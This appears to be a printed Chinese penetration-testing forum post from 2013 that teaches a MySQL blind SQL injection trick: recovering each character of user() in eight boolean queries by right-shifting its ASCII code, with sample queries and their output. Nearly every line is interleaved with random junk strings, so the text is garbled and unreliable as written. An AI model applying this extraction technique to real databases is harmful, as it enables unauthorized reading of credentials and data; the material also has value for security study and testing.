中国网络渗透测试联盟

标题: 关于通过对8bit的ascii做右位移提高mysql盲注效率 [打印本页]

作者: admin    时间: 2013-3-7 13:25
标题: 关于通过对8bit的ascii做右位移提高mysql盲注效率
通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位
) \& g) A2 o6 ~. Y" b2 W
* B$ S3 ?5 V+ a7 l + Y+ W6 N# k( E7 H( N( E6 K
% V. b4 ?* q/ t( v  H* _* T
下面将以查询mysql数据库当中user()的第一位为例:  v# e: n" O) w  }1 t  s
- N$ e7 Z7 ^, x8 S$ C% G
/ `* U  o9 R% u6 K! m) I; ?: m
+ b$ g( r  @/ _0 f8 E3 Y
ps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)
" E0 j3 h; \. U' ~% h( q. [
; Q; h7 P5 a! ~ ! h+ y/ Y9 \$ T% _5 l- l$ s- y9 t

/ M: z2 ^$ x" D9 \( g9 Y首先执行如下sql语句:- W6 c! @$ e* R) S7 \5 R6 h6 ^

$ I8 y* R5 h$ Q! }
( M5 U' }9 V# \& \; j% v+ C
  Q: [( R3 Z4 u5 D- ?mysql> select (ascii((substr(user(),1,1))) >> 7)=0;$ a; h7 W5 O9 P! u

- N6 c6 ^1 U  q( S$ h: Z) x * D/ N; }% Z- c/ Q4 N( K& j
9 D& _# S/ U6 r1 t- f
我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的
+ A7 h  R" S+ u& }# d0 i  C9 T* _* Y, _9 ~0 @& K

7 K% }6 n( {! i+ x
5 w  M" c5 y, _, n第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为15 R" H0 S2 Q5 I1 b# t" N
$ u- W0 T! V7 ]$ i* M

4 a8 S2 g4 [2 l! @5 V+ ]9 k& v* a+ \* F. j& M
如果运算结果为1,说明第一位为0,不为1" h' V/ U' o! b5 t' q) Q( Y6 a

; e7 I* K2 ?! n$ d3 k9 n- J ) R, J0 I" Q- j% v5 e- I. ]. L) C

( y1 W1 I& U) X+————————————–+" T+ K' `) f  s+ |# i6 `# N

6 r( c/ n! m# b3 K  H0 @| (ascii((substr(user(),1,1))) >> 7)=0 |7 z1 d5 o$ H/ o3 ?2 C1 ]( g4 r
; V' @8 X0 F. x; t9 t0 q2 _
+————————————–+
0 s: C3 ^& y# Y% l
! a8 {5 u- J3 \. w| 1 |  s% L% Z, j9 d1 T8 d

) R% o4 n) {7 B( ^+ j7 K: o2 _+————————————–+1 J# l% P6 `2 o2 c/ d8 B
5 `6 R. ^; K" K7 u
1 row in set (0.00 sec)6 G7 S( R0 s* |- @7 ?3 V
7 Y( ?. F0 P( ^& }6 y! N$ p
这样我们就确定这个8bit的ascii的第一位为0
$ k  v: f9 o  F) Q4 v. V  s" M7 x
: C3 o# S6 ~1 x+ P
. [5 e8 {9 d1 y  E1 m- B# o0 `6 Y. k  g5 M# }
第二次我们来做6次右偏移来确定前两位0 I6 x& S% X- K+ `
9 d6 @# i/ U+ @' {: s

& Z# O# x4 e# z6 Q1 X
0 T3 ~" Y) |! Y前两位可能是01或00,即依然可以与0做比较,, |" F2 A$ K6 D+ O3 [6 ^2 o! o

2 W& z. T8 [- [! pmysql> select (ascii((substr(user(),1,1))) >> 6)=0;& v3 d; Y$ y5 c' Z9 y  L
8 s# r, D9 i% d* S: [
+————————————–+
$ y* n$ E5 @; Y$ p# H. v& h. a/ l# P5 {; U
| (ascii((substr(user(),1,1))) >> 6)=0 |
0 V% f; [. e4 I' k! {  A: F# w/ N8 P, H, u
+————————————–+6 _) S& R. d& W* Z( Y) b) K! Z

4 y' _  \) Z) p! l| 0 |' L( b: n" E3 a7 h/ v9 ~
  i- v* F' R, [- W
+————————————–+6 ?) {: G; g3 E( U
/ h+ C1 D& F, s5 i7 e# u/ F% u
1 row in set (0.00 sec)9 C/ {# r6 R% w2 u, q
7 m) `8 |* h: \) ?9 t$ {: f
4 `' Q7 k* E# \) k' J3 p- i/ [

' o" d2 i7 o) b5 F$ }) A! R结果为0,即第二位为1: g1 M3 w& U, k  O6 R% g  M
: r4 o. u; d" q6 ?. E- [2 k

3 M  r: y* C; M
' Y/ W. j+ O# z: K  T& w开始猜测前三位为010或011
6 U# O4 E" @  V
6 t# }( ?/ U* N$ X ' Q" i% q1 M+ v1 A, l$ r% H
' a4 v7 I% E! N0 Z* i- q
让我们看看010和011的ascii码是多少( `# j9 S- N0 l8 |; B* N( Z/ v
6 s$ X% H/ H4 I) r7 S/ J+ n

6 T0 E& s$ I  a
; M7 b9 R  E: N. K% l0 P+ K/ ~  e分别查询select b’011′ select b’010′' L) |5 S7 D4 t1 }* t* }+ k! |

* g5 W+ e$ M7 |5 P* T+ ] 0 t7 M* `% }7 h; b  H8 A
5 f6 c& n5 V  E+ o' H9 v/ H5 C
获得结果 010 = 2 011 = 35 ~0 o1 @& J% B; W( _- L: Z
, a% j3 p& @3 ]/ n# s3 y

. S. o$ \7 w# @6 j. }" U" ]" S+ ?5 w" O: f; ]; N
执行如下sql:
  f! }" U! y/ v) I+ j6 g1 ~8 f9 ]2 _/ u( C) d6 l; m8 j4 x8 ]
! F, h6 M4 y: l
% |% i. U2 ]4 p
mysql> select (ascii((substr(user(),1,1))) >> 5)=2;: W, H2 c6 ?4 s: c4 R) C) ?; t  \/ r

, x/ ^# ~& v2 S2 Q% @$ F( N+————————————–+  [/ l8 ^7 @$ S
- ]( O' W: r2 ?" V$ B/ g1 h8 D3 M& Z
| (ascii((substr(user(),1,1))) >> 5)=2 |
( J1 f8 ~/ X/ F: ^2 J" [& |2 g
0 U+ e- A4 f+ W* L  N5 r  \+————————————–+3 M3 a( U5 O& a& O9 |1 e

' I# j/ J- M6 `2 |! h( a; h| 0 |
# ~3 w# P' Y1 x% ^( S) q' `1 Z/ q" Y( ~
+————————————–+5 k" n5 x* H" K9 Y! z- w6 Z
* S' x& i  U$ [5 A
即前三位不为010,而是011
- [- w* z! x, L2 ~/ ]# }3 X9 k2 P

- R. ~4 H0 y5 i8 u+ C' w0 {5 y
7 P5 b. Q1 z$ w# x/ i$ `直到获得最后一位. K- q# Z% }% t6 d5 @6 ]

9 t" _# B% _1 s/ y# ^: H4 o % ]) @* q) `. l4 i! P
6 q5 c% I& j; f: M" w" M
最终结果为:01110010) n$ J9 `' V+ _) a0 h

! r( u, J5 L9 T% S+ T
( U1 B5 J( j( h9 |0 h- z1 v3 `' ^1 H/ s; G- U5 m" b$ w
转换一下:
, v  g" ^2 f, U0 T! @; I' ~
! Q* y  H9 t3 r- o. o" y; L
! Z( f% \; C3 X: Z6 Y
2 f5 R: E7 G2 T( c% Vselect b’01110010′9 h& B+ O8 m5 |6 h# {9 d) I
9 s3 ]; u0 b3 d

7 I: e& {  T+ g9 X" j+ g" x9 w( X) F+ l5 w8 u) G
查询结果% |& x- D& f" W/ @  U) G( _

, i' i+ g% `; U( O/ I) ~& s $ O( n; a0 |0 M) i) F& {! E; [- u

3 @1 B! w* v, _3 g- W% E5 L) y+————-+
5 d, M) ]; k  g& D1 w" L! @* Z; M) R$ d1 J
| b’01110010′ |. J% s) t  j+ s" M$ R( A
4 P5 V( L/ d0 h3 ^
+————-+3 p+ j& s5 C9 |: ^3 I- \. J4 Z
4 _% `5 t0 w# P- x' \: ~$ ?: `' H
| r |
* |3 Q- I! C- j9 S' Y6 X* A# v; y( }' i; w+ s
+————-+
6 l0 K/ L6 @) [5 Q) F/ C9 C+ A% S0 K9 a3 B/ R& Y* U
1 row in set (0.00 sec)
( _6 ?6 e4 }( @: D
9 U" ?+ x3 r- \7 O ) @# D. C* }2 \$ Y# |/ |

- x8 U* \# Z2 T9 }0 ^$ k7 n这样我们就获得了user()的第一位.其它位依此类推
+ y1 C9 L" T! I$ ^6 \6 x' H( i/ {
' r+ T. d' L8 y& {1 N- U" }




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2